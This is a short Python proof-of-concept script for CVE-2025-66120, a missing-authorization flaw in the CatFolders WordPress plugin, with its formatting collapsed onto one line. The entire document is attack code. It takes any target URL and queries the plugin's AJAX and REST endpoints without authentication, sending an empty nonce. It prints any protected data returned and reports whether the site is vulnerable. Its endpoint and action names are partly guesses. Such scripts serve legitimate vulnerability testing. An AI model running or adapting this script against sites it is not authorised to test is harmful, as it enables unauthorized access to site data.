CVE-2025-66120

# CVE-2025-66120 PoC - CatFolders Missing Authorization # This PoC demonstrates accessing protected endpoints without authorization import requests import sys def check_vulnerability(target_url): """ Check if the target WordPress site with CatFolders plugin is vulnerable """ # Common CatFolders AJAX endpoints endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/catfolders/v1/folders', '/wp-json/catfolders/v1/terms' ] # Try to access without authentication for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Test with minimal headers headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # For AJAX endpoint, try common CatFolders actions if 'admin-ajax.php' in endpoint: data = { 'action': 'catfolders_get_folders', 'nonce': '' # Try without nonce } try: response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[!] Endpoint {endpoint} responded without authentication") print(f"[+] Response preview: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") else: try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200 and 'catfolders' in response.text.lower(): print(f"[!] REST endpoint {endpoint} accessible without auth") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-66120.py <target_url>') print('Example: python cve-2025-66120.py http://example.com') sys.exit(1) target = sys.argv[1] print(f'[*] Checking vulnerability on: {target}') if check_vulnerability(target): print('[!] Target appears to be VULNERABLE') else: print('[+] Target appears to be PATCHED or not vulnerable')

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